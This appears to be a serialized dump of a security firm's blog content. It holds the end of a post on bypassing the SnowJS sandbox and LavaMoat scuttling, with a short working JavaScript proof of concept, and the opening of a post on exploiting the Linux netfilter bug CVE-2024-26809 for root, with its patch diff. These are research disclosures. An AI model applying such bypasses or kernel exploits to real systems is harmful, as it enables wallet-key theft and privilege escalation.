Node:",{"type":23,"tag":314,"props":49051,"children":49052},{"style":338},[49053],{"type":28,"value":22270},{"type":23,"tag":314,"props":49055,"children":49056},{"style":1245},[49057],{"type":28,"value":49058},"'appendChild'",{"type":23,"tag":314,"props":49060,"children":49061},{"style":338},[49062],{"type":28,"value":778},{"type":23,"tag":314,"props":49064,"children":49065},{"style":1245},[49066],{"type":28,"value":49067},"'insertBefore'",{"type":23,"tag":314,"props":49069,"children":49070},{"style":338},[49071],{"type":28,"value":778},{"type":23,"tag":314,"props":49073,"children":49074},{"style":1245},[49075],{"type":28,"value":49076},"'replaceChild'",{"type":23,"tag":314,"props":49078,"children":49079},{"style":338},[49080],{"type":28,"value":13510},{"type":23,"tag":314,"props":49082,"children":49083},{"class":316,"line":1173},[49084,49089,49093,49098,49102,49107,49111,49116,49120,49125,49129,49134,49138,49142,49146,49151,49155,49159,49163,49168,49172,49176],{"type":23,"tag":314,"props":49085,"children":49086},{"style":360},[49087],{"type":28,"value":49088}," Element:",{"type":23,"tag":314,"props":49090,"children":49091},{"style":338},[49092],{"type":28,"value":22270},{"type":23,"tag":314,"props":49094,"children":49095},{"style":1245},[49096],{"type":28,"value":49097},"'innerHTML'",{"type":23,"tag":314,"props":49099,"children":49100},{"style":338},[49101],{"type":28,"value":778},{"type":23,"tag":314,"props":49103,"children":49104},{"style":1245},[49105],{"type":28,"value":49106},"'outerHTML'",{"type":23,"tag":314,"props":49108,"children":49109},{"style":338},[49110],{"type":28,"value":778},{"type":23,"tag":314,"props":49112,"children":49113},{"style":1245},[49114],{"type":28,"value":49115},"'insertAdjacentHTML'",{"type":23,"tag":314,"props":49117,"children":49118},{"style":338},[49119],{"type":28,"value":778},{"type":23,"tag":314,"props":49121,"children":49122},{"style":1245},[49123],{"type":28,"value":49124},"'replaceWith'",{"type":23,"tag":314,"props":49126,"children":49127},{"style":338},[49128],{"type":28,"value":778},{"type":23,"tag":314,"props":49130,"children":49131},{"style":1245},[49132],{"type":28,"value":49133},"'insertAdjacentElement'",{"type":23,"tag":314,"props":49135,"children":49136},{"style":338},[49137],{"type":28,"value":778},{"type":23,"tag":314,"props":49139,"children":49140},{"style":1245},[49141],{"type":28,"value":48974},{"type":23,"tag":314,"props":49143,"children":49144},{"style":338},[49145],{"type":28,"value":778},{"type":23,"tag":314,"props":49147,"children":49148},{"style":1245},[49149],{"type":28,"value":49150},"'before'",{"type":23,"tag":314,"props":49152,"children":49153},{"style":338},[49154],{"type":28,"value":778},{"type":23,"tag":314,"props":49156,"children":49157},{"style":1245},[49158],{"type":28,"value":48983},{"type":23,"tag":314,"props":49160,"children":49161},{"style":338},[49162],{"type":28,"value":778},{"type":23,"tag":314,"props":49164,"children":49165},{"style":1245},[49166],{"type":28,"value":49167},"'after'",{"type":23,"tag":314,"props":49169,"children":49170},{"style":338},[49171],{"type":28,"value":778},{"type":23,"tag":314,"props":49173,"children":49174},{"style":1245},[49175],{"type":28,"value":48965},{"type":23,"tag":314,"props":49177,"children":49178},{"style":338},[49179],{"type":28,"value":13510},{"type":23,"tag":314,"props":49181,"children":49182},{"class":316,"line":1208},[49183,49188,49192,49196],{"type":23,"tag":314,"props":49184,"children":49185},{"style":360},[49186],{"type":28,"value":49187}," ShadowRoot:",{"type":23,"tag":314,"props":49189,"children":49190},{"style":338},[49191],{"type":28,"value":22270},{"type":23,"tag":314,"props":49193,"children":49194},{"style":1245},[49195],{"type":28,"value":49097},{"type":23,"tag":314,"props":49197,"children":49198},{"style":338},[49199],{"type":28,"value":13510},{"type":23,"tag":314,"props":49201,"children":49202},{"class":316,"line":1216},[49203,49208,49212,49217],{"type":23,"tag":314,"props":49204,"children":49205},{"style":360},[49206],{"type":28,"value":49207}," HTMLIFrameElement:",{"type":23,"tag":314,"props":49209,"children":49210},{"style":338},[49211],{"type":28,"value":22270},{"type":23,"tag":314,"props":49213,"children":49214},{"style":1245},[49215],{"type":28,"value":49216},"'srcdoc'",{"type":23,"tag":314,"props":49218,"children":49219},{"style":338},[49220],{"type":28,"value":13510},{"type":23,"tag":314,"props":49222,"children":49223},{"class":316,"line":1301},[49224],{"type":23,"tag":314,"props":49225,"children":49226},{"style":338},[49227],{"type":28,"value":1545},{"type":23,"tag":24,"props":49229,"children":49230},{},[49231],{"type":28,"value":49232},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":49234,"children":49235},{},[49236],{"type":28,"value":49237},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":837,"props":49239,"children":49241},{"id":49240},"bypassing-snowjs",[49242],{"type":28,"value":49243},"Bypassing SnowJS",{"type":23,"tag":24,"props":49245,"children":49246},{},[49247,49249,49260,49262,49268],{"type":28,"value":49248},"The deprecated ",{"type":23,"tag":31,"props":49250,"children":49253},{"href":49251,"rel":49252},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[35],[49254],{"type":23,"tag":94,"props":49255,"children":49257},{"className":49256},[],[49258],{"type":28,"value":49259},"document.execCommand",{"type":28,"value":49261}," function is used to execute commands inside a ",{"type":23,"tag":94,"props":49263,"children":49265},{"className":49264},[],[49266],{"type":28,"value":49267},"contenteditable",{"type":28,"value":49269}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":304,"props":49271,"children":49274},{"className":49272,"code":49273,"language":31630,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[49275],{"type":23,"tag":94,"props":49276,"children":49277},{"__ignoreMap":7},[49278],{"type":23,"tag":314,"props":49279,"children":49280},{"class":316,"line":317},[49281,49285,49289,49293,49297,49302,49307,49312,49317,49321],{"type":23,"tag":314,"props":49282,"children":49283},{"style":31623},[49284],{"type":28,"value":5060},{"type":23,"tag":314,"props":49286,"children":49287},{"style":321},[49288],{"type":28,"value":192},{"type":23,"tag":314,"props":49290,"children":49291},{"style":360},[49292],{"type":28,"value":31703},{"type":23,"tag":314,"props":49294,"children":49295},{"style":338},[49296],{"type":28,"value":1102},{"type":23,"tag":314,"props":49298,"children":49299},{"style":1245},[49300],{"type":28,"value":49301},"test",{"type":23,"tag":314,"props":49303,"children":49304},{"style":360},[49305],{"type":28,"value":49306}," contenteditable",{"type":23,"tag":314,"props":49308,"children":49309},{"style":360},[49310],{"type":28,"value":49311}," autofocus",{"type":23,"tag":314,"props":49313,"children":49314},{"style":31623},[49315],{"type":28,"value":49316},">\u003C/",{"type":23,"tag":314,"props":49318,"children":49319},{"style":321},[49320],{"type":28,"value":192},{"type":23,"tag":314,"props":49322,"children":49323},{"style":31623},[49324],{"type":28,"value":5247},{"type":23,"tag":24,"props":49326,"children":49327},{},[49328,49330,49336,49338,49343],{"type":28,"value":49329},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":94,"props":49331,"children":49333},{"className":49332},[],[49334],{"type":28,"value":49335},"insertHTML",{"type":28,"value":49337}," command of ",{"type":23,"tag":94,"props":49339,"children":49341},{"className":49340},[],[49342],{"type":28,"value":49259},{"type":28,"value":49344}," to add a non-sandboxed iframe.",{"type":23,"tag":304,"props":49346,"children":49348},{"className":30611,"code":49347,"language":30613,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[49349],{"type":23,"tag":94,"props":49350,"children":49351},{"__ignoreMap":7},[49352],{"type":23,"tag":314,"props":49353,"children":49354},{"class":316,"line":317},[49355,49359,49363,49368,49372,49377,49381,49385,49389,49394],{"type":23,"tag":314,"props":49356,"children":49357},{"style":360},[49358],{"type":28,"value":31955},{"type":23,"tag":314,"props":49360,"children":49361},{"style":338},[49362],{"type":28,"value":282},{"type":23,"tag":314,"props":49364,"children":49365},{"style":332},[49366],{"type":28,"value":49367},"execCommand",{"type":23,"tag":314,"props":49369,"children":49370},{"style":338},[49371],{"type":28,"value":341},{"type":23,"tag":314,"props":49373,"children":49374},{"style":1245},[49375],{"type":28,"value":49376},"'insertHTML'",{"type":23,"tag":314,"props":49378,"children":49379},{"style":338},[49380],{"type":28,"value":778},{"type":23,"tag":314,"props":49382,"children":49383},{"style":321},[49384],{"type":28,"value":1532},{"type":23,"tag":314,"props":49386,"children":49387},{"style":338},[49388],{"type":28,"value":778},{"type":23,"tag":314,"props":49390,"children":49391},{"style":1245},[49392],{"type":28,"value":49393},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":314,"props":49395,"children":49396},{"style":338},[49397],{"type":28,"value":1025},{"type":23,"tag":837,"props":49399,"children":49401},{"id":49400},"impact-on-lavamoat-scuttling",[49402],{"type":28,"value":49403},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":49405,"children":49406},{},[49407],{"type":28,"value":49408},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":49410,"children":49411},{},[49412,49414,49419,49421,49426],{"type":28,"value":49413},"For the exploit, the only used functions are in ",{"type":23,"tag":94,"props":49415,"children":49417},{"className":49416},[],[49418],{"type":28,"value":31955},{"type":28,"value":49420}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":94,"props":49422,"children":49424},{"className":49423},[],[49425],{"type":28,"value":36666},{"type":28,"value":49427}," object.",{"type":23,"tag":24,"props":49429,"children":49430},{},[49431,49433,49438],{"type":28,"value":49432},"Consider this example, which runs a scuttled ",{"type":23,"tag":94,"props":49434,"children":49436},{"className":49435},[],[49437],{"type":28,"value":31945},{"type":28,"value":24714},{"type":23,"tag":304,"props":49440,"children":49442},{"className":30611,"code":49441,"language":30613,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[49443],{"type":23,"tag":94,"props":49444,"children":49445},{"__ignoreMap":7},[49446,49482,49519,49562],{"type":23,"tag":314,"props":49447,"children":49448},{"class":316,"line":317},[49449,49453,49457,49461,49465,49469,49473,49478],{"type":23,"tag":314,"props":49450,"children":49451},{"style":360},[49452],{"type":28,"value":31955},{"type":23,"tag":314,"props":49454,"children":49455},{"style":338},[49456],{"type":28,"value":282},{"type":23,"tag":314,"props":49458,"children":49459},{"style":360},[49460],{"type":28,"value":31647},{"type":23,"tag":314,"props":49462,"children":49463},{"style":338},[49464],{"type":28,"value":282},{"type":23,"tag":314,"props":49466,"children":49467},{"style":360},[49468],{"type":28,"value":34221},{"type":23,"tag":314,"props":49470,"children":49471},{"style":354},[49472],{"type":28,"value":1237},{"type":23,"tag":314,"props":49474,"children":49475},{"style":1245},[49476],{"type":28,"value":49477}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":314,"props":49479,"children":49480},{"style":338},[49481],{"type":28,"value":2278},{"type":23,"tag":314,"props":49483,"children":49484},{"class":316,"line":370},[49485,49489,49493,49497,49501,49506,49510,49515],{"type":23,"tag":314,"props":49486,"children":49487},{"style":360},[49488],{"type":28,"value":31955},{"type":23,"tag":314,"props":49490,"children":49491},{"style":338},[49492],{"type":28,"value":282},{"type":23,"tag":314,"props":49494,"children":49495},{"style":332},[49496],{"type":28,"value":34246},{"type":23,"tag":314,"props":49498,"children":49499},{"style":338},[49500],{"type":28,"value":341},{"type":23,"tag":314,"props":49502,"children":49503},{"style":1245},[49504],{"type":28,"value":49505},"'test'",{"type":23,"tag":314,"props":49507,"children":49508},{"style":338},[49509],{"type":28,"value":419},{"type":23,"tag":314,"props":49511,"children":49512},{"style":332},[49513],{"type":28,"value":49514},"focus",{"type":23,"tag":314,"props":49516,"children":49517},{"style":338},[49518],{"type":28,"value":2926},{"type":23,"tag":314,"props":49520,"children":49521},{"class":316,"line":380},[49522,49526,49530,49534,49538,49542,49546,49550,49554,49558],{"type":23,"tag":314,"props":49523,"children":49524},{"style":360},[49525],{"type":28,"value":31955},{"type":23,"tag":314,"props":49527,"children":49528},{"style":338},[49529],{"type":28,"value":282},{"type":23,"tag":314,"props":49531,"children":49532},{"style":332},[49533],{"type":28,"value":49367},{"type":23,"tag":314,"props":49535,"children":49536},{"style":338},[49537],{"type":28,"value":341},{"type":23,"tag":314,"props":49539,"children":49540},{"style":1245},[49541],{"type":28,"value":49376},{"type":23,"tag":314,"props":49543,"children":49544},{"style":338},[49545],{"type":28,"value":778},{"type":23,"tag":314,"props":49547,"children":49548},{"style":321},[49549],{"type":28,"value":1532},{"type":23,"tag":314,"props":49551,"children":49552},{"style":338},[49553],{"type":28,"value":778},{"type":23,"tag":314,"props":49555,"children":49556},{"style":1245},[49557],{"type":28,"value":49393},{"type":23,"tag":314,"props":49559,"children":49560},{"style":338},[49561],{"type":28,"value":1025},{"type":23,"tag":314,"props":49563,"children":49564},{"class":316,"line":1091},[49565,49569,49573,49578,49582,49586,49591,49595,49600,49605,49609,49613,49617,49621,49625,49629],{"type":23,"tag":314,"props":49566,"children":49567},{"style":360},[49568],{"type":28,"value":31955},{"type":23,"tag":314,"props":49570,"children":49571},{"style":338},[49572],{"type":28,"value":282},{"type":23,"tag":314,"props":49574,"children":49575},{"style":332},[49576],{"type":28,"value":49577},"getElementsByTagName",{"type":23,"tag":314,"props":49579,"children":49580},{"style":338},[49581],{"type":28,"value":341},{"type":23,"tag":314,"props":49583,"children":49584},{"style":1245},[49585],{"type":28,"value":35979},{"type":23,"tag":314,"props":49587,"children":49588},{"style":338},[49589],{"type":28,"value":49590},")[",{"type":23,"tag":314,"props":49592,"children":49593},{"style":1054},[49594],{"type":28,"value":1600},{"type":23,"tag":314,"props":49596,"children":49597},{"style":338},[49598],{"type":28,"value":49599},"].",{"type":23,"tag":314,"props":49601,"children":49602},{"style":360},[49603],{"type":28,"value":49604},"contentWindow",{"type":23,"tag":314,"props":49606,"children":49607},{"style":338},[49608],{"type":28,"value":282},{"type":23,"tag":314,"props":49610,"children":49611},{"style":332},[49612],{"type":28,"value":31945},{"type":23,"tag":314,"props":49614,"children":49615},{"style":338},[49616],{"type":28,"value":341},{"type":23,"tag":314,"props":49618,"children":49619},{"style":360},[49620],{"type":28,"value":31955},{"type":23,"tag":314,"props":49622,"children":49623},{"style":338},[49624],{"type":28,"value":282},{"type":23,"tag":314,"props":49626,"children":49627},{"style":360},[49628],{"type":28,"value":31965},{"type":23,"tag":314,"props":49630,"children":49631},{"style":338},[49632],{"type":28,"value":1025},{"type":23,"tag":837,"props":49634,"children":49636},{"id":49635},"snowjs-patch",[49637],{"type":28,"value":49638},"SnowJS Patch",{"type":23,"tag":24,"props":49640,"children":49641},{},[49642,49644,49651,49653,49660],{"type":28,"value":49643},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":31,"props":49645,"children":49648},{"href":49646,"rel":49647},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[35],[49649],{"type":28,"value":49650},"browser feature within W3C standards",{"type":28,"value":49652},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":31,"props":49654,"children":49657},{"href":49655,"rel":49656},"https://github.com/weizman/Realms-Initialization-Control",[35],[49658],{"type":28,"value":49659},"Here",{"type":28,"value":49661}," is their new proposal.",{"type":23,"tag":61,"props":49663,"children":49665},{"id":49664},"chaining-the-impacts",[49666],{"type":28,"value":49667},"Chaining The Impacts",{"type":23,"tag":24,"props":49669,"children":49670},{},[49671],{"type":28,"value":49672},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":84,"props":49674,"children":49675},{},[49676,49681],{"type":23,"tag":88,"props":49677,"children":49678},{},[49679],{"type":28,"value":49680},"Policy File Bypass",{"type":23,"tag":88,"props":49682,"children":49683},{},[49684],{"type":28,"value":49685},"Scuttling Bypass",{"type":23,"tag":24,"props":49687,"children":49688},{},[49689],{"type":28,"value":49690},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":49692,"children":49693},{},[49694],{"type":28,"value":49695},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":61,"props":49697,"children":49698},{"id":28180},[49699],{"type":28,"value":18185},{"type":23,"tag":24,"props":49701,"children":49702},{},[49703],{"type":28,"value":49704},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":192,"props":49706,"children":49707},{"style":194},[49708],{"type":23,"tag":197,"props":49709,"children":49712},{"src":49710,"alt":49711,"style":30602},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":17660,"props":49714,"children":49716},{"className":49715,"dataFootnotes":7},[17663],[49717,49722],{"type":23,"tag":61,"props":49718,"children":49720},{"className":49719,"id":14723},[17668],[49721],{"type":28,"value":17671},{"type":23,"tag":84,"props":49723,"children":49724},{},[49725],{"type":23,"tag":88,"props":49726,"children":49727},{"id":29615},[49728,49730,49737,49738],{"type":28,"value":49729},"Excluding SES, which was covered ",{"type":23,"tag":31,"props":49731,"children":49734},{"href":49732,"rel":49733},"https://osec.io/blog/2023-11-01-metamask-snaps",[35],[49735],{"type":28,"value":49736},"in our last article",{"type":28,"value":5713},{"type":23,"tag":31,"props":49739,"children":49741},{"href":29643,"ariaLabel":17774,"className":49740,"dataFootnoteBackref":7},[17776],[49742],{"type":28,"value":17779},{"type":23,"tag":2096,"props":49744,"children":49745},{},[49746],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":49748},[49749,49753,49759,49765,49766,49767],{"id":18194,"depth":370,"text":18197,"children":49750},[49751,49752],{"id":28263,"depth":380,"text":28266},{"id":46370,"depth":380,"text":46373},{"id":47126,"depth":370,"text":47129,"children":49754},[49755,49756,49757,49758],{"id":47377,"depth":380,"text":47380},{"id":47852,"depth":380,"text":47855},{"id":48509,"depth":380,"text":48512},{"id":48632,"depth":380,"text":48635},{"id":48750,"depth":370,"text":48753,"children":49760},[49761,49762,49763,49764],{"id":48878,"depth":380,"text":48881},{"id":49240,"depth":380,"text":49243},{"id":49400,"depth":380,"text":49403},{"id":49635,"depth":380,"text":49638},{"id":49664,"depth":370,"text":49667},{"id":28180,"depth":370,"text":18185},{"id":14723,"depth":370,"text":17671},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":49772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49773,"description":49774,"author":49775,"image":49776,"date":49778,"isFeatured":18,"tags":49779,"onBlogPage":18,"body":49782,"_type":2117,"_id":60162,"_source":2119,"_file":60163,"_stem":60164,"_extension":2122},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":49777,"height":8515,"width":4978},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[49780,49781],"kernal","linux",{"type":20,"children":49783,"toc":60130},[49784,49797,49811,49816,49822,49832,49837,49843,49848,49866,49880,49889,49922,49927,49933,49952,49985,49991,50004,50214,50281,50845,50864,51089,51148,51154,51174,51214,51402,51407,51558,51614,51619,52133,52152,52421,52447,52956,53023,53029,53065,53070,53336,53369,53381,53408,53420,53425,53431,53452,53458,53479,53502,54334,54340,54380,54919,54930,54964,55031,55085,55317,55323,55367,55831,55837,55848,55878,55961,55966,55971,56007,56059,56090,56645,56651,56668,56674,56679,56685,56713,56906,56926,56942,57537,57543,57578,57601,57613,57619,57647,58244,58269,59238,59249,59262,59275,60041,60055,60061,60073,60079,60107,60112,60116,60121,60126],{"type":23,"tag":24,"props":49785,"children":49786},{},[49787,49789,49796],{"type":28,"value":49788},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":31,"props":49790,"children":49793},{"href":49791,"rel":49792},"https://google.github.io/security-research/kernelctf/rules.html",[35],[49794],{"type":28,"value":49795},"KernelCTF VRP",{"type":28,"value":282},{"type":23,"tag":24,"props":49798,"children":49799},{},[49800,49802,49809],{"type":28,"value":49801},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":31,"props":49803,"children":49806},{"href":49804,"rel":49805},"https://github.com/conlonialC",[35],[49807],{"type":28,"value":49808},"lonial con",{"type":28,"value":49810},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":49812,"children":49813},{},[49814],{"type":28,"value":49815},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":61,"props":49817,"children":49819},{"id":49818},"the-kernel",[49820],{"type":28,"value":49821},"The kernel",{"type":23,"tag":24,"props":49823,"children":49824},{},[49825,49827],{"type":28,"value":49826},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":197,"props":49828,"children":49831},{"alt":49829,"src":49830},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":49833,"children":49834},{},[49835],{"type":28,"value":49836},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":837,"props":49838,"children":49840},{"id":49839},"kernel-exploitation",[49841],{"type":28,"value":49842},"Kernel exploitation",{"type":23,"tag":24,"props":49844,"children":49845},{},[49846],{"type":28,"value":49847},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":127,"props":49849,"children":49850},{},[49851,49856,49861],{"type":23,"tag":88,"props":49852,"children":49853},{},[49854],{"type":28,"value":49855},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":88,"props":49857,"children":49858},{},[49859],{"type":28,"value":49860},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":88,"props":49862,"children":49863},{},[49864],{"type":28,"value":49865},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":49867,"children":49868},{},[49869,49871,49878],{"type":28,"value":49870},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":31,"props":49872,"children":49875},{"href":49873,"rel":49874},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[35],[49876],{"type":28,"value":49877},"blog post",{"type":28,"value":49879}," to become more familiar with the topic.",{"type":23,"tag":61,"props":49881,"children":49883},{"id":49882},"nf_tables",[49884],{"type":23,"tag":94,"props":49885,"children":49887},{"className":49886},[],[49888],{"type":28,"value":49882},{"type":23,"tag":24,"props":49890,"children":49891},{},[49892,49897,49899,49905,49906,49912,49914,49920],{"type":23,"tag":94,"props":49893,"children":49895},{"className":49894},[],[49896],{"type":28,"value":49882},{"type":28,"value":49898}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":31,"props":49900,"children":49903},{"href":49901,"rel":49902},"https://pwning.tech/nftables",[35],[49904],{"type":28,"value":3267},{"type":28,"value":778},{"type":23,"tag":31,"props":49907,"children":49910},{"href":49908,"rel":49909},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[35],[49911],{"type":28,"value":2378},{"type":28,"value":49913},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":94,"props":49915,"children":49917},{"className":49916},[],[49918],{"type":28,"value":49919},"nf_table",{"type":28,"value":49921}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":49923,"children":49924},{},[49925],{"type":28,"value":49926},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":837,"props":49928,"children":49930},{"id":49929},"transactions",[49931],{"type":28,"value":49932},"Transactions",{"type":23,"tag":24,"props":49934,"children":49935},{},[49936,49938,49943,49945,49950],{"type":28,"value":49937},"A transaction is an interaction that updates ",{"type":23,"tag":94,"props":49939,"children":49941},{"className":49940},[],[49942],{"type":28,"value":49882},{"type":28,"value":49944}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":94,"props":49946,"children":49948},{"className":49947},[],[49949],{"type":28,"value":49882},{"type":28,"value":49951}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":127,"props":49953,"children":49954},{},[49955,49965,49975],{"type":23,"tag":88,"props":49956,"children":49957},{},[49958,49963],{"type":23,"tag":721,"props":49959,"children":49960},{},[49961],{"type":28,"value":49962},"Control plane",{"type":28,"value":49964},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":88,"props":49966,"children":49967},{},[49968,49973],{"type":23,"tag":721,"props":49969,"children":49970},{},[49971],{"type":28,"value":49972},"Commit path",{"type":28,"value":49974},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":88,"props":49976,"children":49977},{},[49978,49983],{"type":23,"tag":721,"props":49979,"children":49980},{},[49981],{"type":28,"value":49982},"Abort path",{"type":28,"value":49984},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":61,"props":49986,"children":49988},{"id":49987},"vulnerability-details",[49989],{"type":28,"value":49990},"Vulnerability details",{"type":23,"tag":24,"props":49992,"children":49993},{},[49994,49996,50002],{"type":28,"value":49995},"Moving on, let's check out the ",{"type":23,"tag":31,"props":49997,"children":50000},{"href":49998,"rel":49999},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[35],[50001],{"type":28,"value":3481},{"type":28,"value":50003}," that fixed the bug.",{"type":23,"tag":304,"props":50005,"children":50007},{"className":39608,"code":50006,"language":39610,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[50008],{"type":23,"tag":94,"props":50009,"children":50010},{"__ignoreMap":7},[50011,50019,50027,50035,50043,50051,50058,50066,50073,50081,50089,50097,50105,50113,50121,50129,50137,50145,50153,50161,50168,50176,50184,50192,50199,50206],{"type":23,"tag":314,"props":50012,"children":50013},{"class":316,"line":317},[50014],{"type":23,"tag":314,"props":50015,"children":50016},{"style":321},[50017],{"type":28,"value":50018},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":314,"props":50020,"children":50021},{"class":316,"line":370},[50022],{"type":23,"tag":314,"props":50023,"children":50024},{"style":338},[50025],{"type":28,"value":50026},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":314,"props":50028,"children":50029},{"class":316,"line":380},[50030],{"type":23,"tag":314,"props":50031,"children":50032},{"style":321},[50033],{"type":28,"value":50034},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":314,"props":50036,"children":50037},{"class":316,"line":1091},[50038],{"type":23,"tag":314,"props":50039,"children":50040},{"style":321},[50041],{"type":28,"value":50042},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":314,"props":50044,"children":50045},{"class":316,"line":1141},[50046],{"type":23,"tag":314,"props":50047,"children":50048},{"style":338},[50049],{"type":28,"value":50050},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx 